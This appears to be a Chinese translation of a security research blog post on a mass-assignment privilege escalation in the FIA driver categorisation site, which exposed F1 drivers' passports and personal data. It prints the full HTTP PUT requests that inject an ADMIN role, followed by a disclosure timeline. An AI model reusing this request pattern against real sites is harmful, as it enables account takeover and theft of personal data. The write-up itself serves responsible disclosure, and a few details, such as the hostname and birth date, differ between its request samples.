入侵F1系统:通过FIA漏洞获取维斯塔潘护照和个人信息

本文详细介绍了安全研究人员如何通过FIA驾驶员分类系统的权限提升漏洞,获取包括F1世界冠军马克斯·维斯塔潘在内的车手护照、密码哈希和个人敏感信息的技术细节和发现过程。

入侵F1:通过FIA漏洞获取马克斯·维斯塔潘的护照和个人信息

引言

随着安全初创公司在过去几年中获得大量风险投资资金,一些最大的网络活动都围绕着F1大奖赛展开。像CrowdStrike和Darktrace这样的公司花费数百万美元赞助车队,而像Bitdefender这样的公司则与赛车队建立官方合作伙伴关系,成为其网络安全合作伙伴。

通过积累航空里程和与某些网络安全供应商建立关系,Gal Nagli、Sam Curry和我得以参加这些活动,我们认为尝试入侵F1活动的不同支持网站会很有趣。

这篇博客是关于在F1中发现漏洞系列文章的三篇之一。

寻找F1驾驶员执照

要在F1比赛中参赛,车手必须持有FIA超级驾照。该驾照每年通过车手的国家汽车运动管理机构(ASN)颁发,一旦他们满足FIA的要求,通常需要在小型比赛中花费数年时间获得超级驾照积分,同时满足最低年龄门槛和其他医疗/书面测试。

F1车手也经常在大奖赛之外参赛,FIA使用驾驶员分类(青铜/白银/黄金/白金)来平衡车队。该分类通过FIA门户网站drivercategorisation.fia.com进行管理,支持公众自助注册,供参赛者请求或更新其青铜/白银/黄金/白金状态,并提交结果供审核。该系统与超级驾照分开,但许多F1车手同时出现在两个系统中,并因持有有效的超级驾照而自动获得白金状态。

漏洞发现过程

初始发现

使用电子邮件和密码创建账户后,您将进入实际申请过程。通常,您需要上传许多支持文件以请求分类,包括身份证明文件和赛车简历/历史。然而,我们注意到有一个非常简单的HTTP PUT请求用于更新用户个人资料:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
PUT /api/users/12934 HTTP/1.1
Host: driverscategorisation.fia.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Content-Length: 246
Content-Type: application/json

{
  "id": 12934,
  "email": "samwcurry@gmail.com",
  "firstName": "Sam",
  "lastName": "Curry",
  "nickName": null
}

权限提升漏洞

更新个人资料的HTTP请求没有太多有趣的属性,但响应中返回的JSON包含许多额外的值:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
{
  "id": 12934,
  "email": "samwcurry@gmail.com",
  "firstName": "Sam",
  "lastName": "Curry",
  "nickName": null,
  "keepNamePrivate": false,
  "nickName2": null,
  "birthDate": "2000-02-17",
  "gender": null,
  "token": null,
  "roles": null,
  "country": null,
  "filters": [],
  "status": "ACTIVATED",
  "secondaryEmail": null
}

JSON HTTP响应包含"roles"参数,如果PUT请求容易受到大规模分配攻击,这可能允许我们提升权限。我们开始查看JavaScript中与此参数相关的任何逻辑。

权限提升攻击

根据JavaScript,网站上有许多不同的角色,供驾驶员、FIA工作人员和网站管理员使用。最明显有趣的是管理员角色,因此我们根据JavaScript猜测正确的HTTP PUT请求格式来尝试更新我们的角色:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
PUT /api/users/12934 HTTP/1.1
Host: driverscategorisation.fia.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Content-Length: 246
Content-Type: application/json

{
  "id": 12934,
  "email": "samwcurry@gmail.com",
  "firstName": "Sam",
  "lastName": "Curry",
  "nickName": null,
  "roles": [
    {
      "id": 1,
      "description": "ADMIN role",
      "name": "ADMIN"
    }
  ]
}

我们的测试完全按预期工作。HTTP响应显示更新成功,我们现在拥有网站的管理员角色:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
  "id": 12934,
  "email": "samwcurry@gmail.com",
  "firstName": "Sam",
  "lastName": "Curry",
  "nickName": null,
  "keepNamePrivate": false,
  "nickName2": null,
  "birthDate": "1999-10-17",
  "gender": null,
  "token": null,
  "roles": [
    {
      "id": 1,
      "description": "ADMIN role",
      "name": "ADMIN"
    }
  ],
  "country": null,
  "filters": [],
  "status": "ACTIVATED",
  "secondaryEmail": null
}

漏洞影响

我们重新认证以刷新会话,登录后,显示了一个全新的仪表板,供FIA管理员用于分类驾驶员、管理员工和更新服务器端变量(如电子邮件模板等)。我们似乎对FIA驾驶员分类网站拥有完全的管理员访问权限。

为了验证我们的发现,我们尝试加载驾驶员的个人资料,并观察到用户的密码哈希、电子邮件地址、电话号码、护照、简历和所有相关的个人身份信息。此外,我们可以加载与驾驶员分类相关的所有内部通信,包括关于他们表现的评论和委员会相关决策。

在看到可以访问马克斯·维斯塔潘的护照、简历、执照、密码哈希和个人身份信息后,我们停止了测试。这些数据可以访问所有具有分类的F1车手,以及FIA内部操作的敏感信息。我们没有访问任何护照/敏感信息,所有数据已被删除。

披露时间线

  • 2025年6月3日:通过电子邮件和LinkedIn向FIA初步披露
  • 2025年6月3日:FIA初步回应,网站下线
  • 2025年6月10日:FIA官方回应,告知全面修复
  • 2025年10月22日:博客发布,公开披露
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计